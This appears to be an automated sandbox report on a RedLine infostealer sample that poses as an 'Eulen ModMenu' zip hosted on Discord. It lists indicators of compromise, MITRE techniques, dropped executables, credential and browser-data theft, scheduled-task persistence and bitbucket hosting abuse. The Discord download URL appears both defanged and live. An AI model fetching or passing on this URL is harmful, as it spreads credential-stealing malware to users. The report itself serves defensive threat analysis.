redline | hxxps://cdn[.]discordapp[.]com/attachments/1238900047714713673/1242258500147478620/Eulen_ModMenu[.]zip?ex=668c76e2&is=668b2562&hm=65ecf9ed027802c3a39a3a2756bb9661d80901f9604f492ab3fbb57d19e83ca9&

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation	rxmra2az.gku2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation	dnqtgwxv.aax2.exe

Executes dropped EXE 13 IoCs

pid	Process
3848	Launcher.exe
3052	Launcher.exe
2892	rxmra2az.gku0.exe
4812	rxmra2az.gku1.exe
4248	rxmra2az.gku2.exe
4120	rxmra2az.gku3.exe
4496	dnqtgwxv.aax0.exe
4436	dnqtgwxv.aax1.exe
2908	dnqtgwxv.aax2.exe
1136	dnqtgwxv.aax3.exe
5924	Steam.exe
3884	Steam.exe
4664	Steam.exe

Loads dropped DLL 18 IoCs

pid	Process
4120	rxmra2az.gku3.exe
4120	rxmra2az.gku3.exe
4120	rxmra2az.gku3.exe
4120	rxmra2az.gku3.exe
1136	dnqtgwxv.aax3.exe
5924	Steam.exe
3884	Steam.exe
4664	Steam.exe
3884	Steam.exe
3884	Steam.exe
3884	Steam.exe
3884	Steam.exe
5804	MsiExec.exe
5804	MsiExec.exe
5804	MsiExec.exe
5804	MsiExec.exe
6116	MsiExec.exe
6068	MsiExec.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
55	bitbucket.org
56	bitbucket.org
60	bitbucket.org

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\chalk\source\vendor\supports-color\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\diff\lib\diff\css.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\esm\bin.mjs	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\yarn	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\are-we-there-yet\lib\tracker-group.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\lib\bom-handling.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-sized\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\utils\update-notifier.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\brace-expansion\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\socks\docs\examples\typescript\connectExample.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\spdx-license-ids\deprecated.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\dep-valid.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\chownr\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\build.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\pnpm.cmd	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npm-cache.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\function-bind\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\npm-user-validate\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\node_modules\strip-ansi\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@tufjs\models\dist\utils\key.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\console-control-strings\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\glob\dist\commonjs\processor.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\error.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\promzard\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\string-width-cjs\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\lib\audit-report.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\cacache\lib\rm.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\graceful-fs\legacy-streams.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\process-release.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\postcss-selector-parser\dist\tokenTypes.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@colors\colors\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\core\dist\pem.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\is-lambda\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\npx.ps1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-rebuild.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmexec\lib\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\utils\cmd-list.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\arborist\bin\audit.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\libnpmpack\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\wcwidth\docs\index.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-flush\node_modules\minipass\LICENSE	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\minipass-json-stream\node_modules\minipass\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\bin\node-gyp.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\normalize-package-data\lib\normalize.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\npm-profile\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\npm-registry-fetch\lib\errors.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-token.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\sign\dist\index.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\strip-ansi\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\agent\package.json	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\internal.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\output\commands\npx.html	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\wrap-ansi\license	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\corepack\shims\nodewin\yarnpkg.ps1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\using-npm\package-spec.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\man\man1\npm-view.1	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\key\certificate.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\@sigstore\verify\dist\tlog\dsse.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\cli-table3\src\layout-manager.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\iconv-lite\encodings\sbcs-data.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\ip-address\dist\ip-address.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\docs\content\commands\npm-run-script.md	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\lib\commands\update.js	msiexec.exe
File created	C:\Program Files\nodejs\node_modules\npm\node_modules\diff\lib\diff\array.js	msiexec.exe

Drops file in Windows directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI6963.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7395.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4957.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{637236E9-EF59-4F9D-8269-3083C1A6C6D6}	msiexec.exe
File created	C:\Windows\Installer\e5c3f43.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5c3f43.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI841D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7315.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI480D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI48F8.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\NodeIcon	msiexec.exe
File created	C:\Windows\Installer\e5c3f47.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe

Modifies registry class 30 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNpmModules = "EnvironmentPath"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductIcon = "C:\\Windows\\Installer\\{637236E9-EF59-4F9D-8269-3083C1A6C6D6}\\NodeIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\NodeRuntime	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\ProductName = "Node.js"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Version = "336330754"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\PackageName = "nodejs-installer.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A3A70C74FE2431248AD5F8A59570C782	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\F81D.tmp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\PackageCode = "AC6AA920FB9737143A7998E5BED98A71"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\corepack	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\npm	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\DocumentationShortcuts	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPathNode = "EnvironmentPath"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9E63273695FED9F4289603381C6A6C6D\EnvironmentPath	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9E63273695FED9F4289603381C6A6C6D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\F81D.tmp\\"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2848	schtasks.exe
2500	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1220	msedge.exe
1220	msedge.exe
1820	msedge.exe
1820	msedge.exe
4008	msedge.exe
4008	msedge.exe
2592	identity_helper.exe
2592	identity_helper.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
4896	msedge.exe
672	powershell.exe
672	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
4120	rxmra2az.gku3.exe
4120	rxmra2az.gku3.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4812	rxmra2az.gku1.exe
4812	rxmra2az.gku1.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
4496	dnqtgwxv.aax0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe
2892	rxmra2az.gku0.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1524	7zG.exe
Token: 35	1524	7zG.exe
Token: SeSecurityPrivilege	1524	7zG.exe
Token: SeSecurityPrivilege	1524	7zG.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	2892	rxmra2az.gku0.exe
Token: SeSecurityPrivilege	4120	rxmra2az.gku3.exe
Token: SeDebugPrivilege	4496	dnqtgwxv.aax0.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe
Token: SeBackupPrivilege	4496	dnqtgwxv.aax0.exe
Token: SeSecurityPrivilege	4496	dnqtgwxv.aax0.exe
Token: SeSecurityPrivilege	4496	dnqtgwxv.aax0.exe
Token: SeSecurityPrivilege	4496	dnqtgwxv.aax0.exe
Token: SeSecurityPrivilege	4496	dnqtgwxv.aax0.exe
Token: SeBackupPrivilege	2892	rxmra2az.gku0.exe
Token: SeSecurityPrivilege	2892	rxmra2az.gku0.exe
Token: SeSecurityPrivilege	2892	rxmra2az.gku0.exe
Token: SeSecurityPrivilege	2892	rxmra2az.gku0.exe
Token: SeSecurityPrivilege	2892	rxmra2az.gku0.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe
Token: SeCreatePagefilePrivilege	5924	Steam.exe
Token: SeShutdownPrivilege	5924	Steam.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1524	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe
1820	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 400	1820	msedge.exe	83
PID 1820 wrote to memory of 400	1820	msedge.exe	83
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 2404	1820	msedge.exe	86
PID 1820 wrote to memory of 1220	1820	msedge.exe	87
PID 1820 wrote to memory of 1220	1820	msedge.exe	87
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88
PID 1820 wrote to memory of 1392	1820	msedge.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3064
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  PID:2384

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1238900047714713673/1242258500147478620/Eulen_ModMenu.zip?ex=668c76e2&is=668b2562&hm=65ecf9ed027802c3a39a3a2756bb9661d80901f9604f492ab3fbb57d19e83ca9&
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
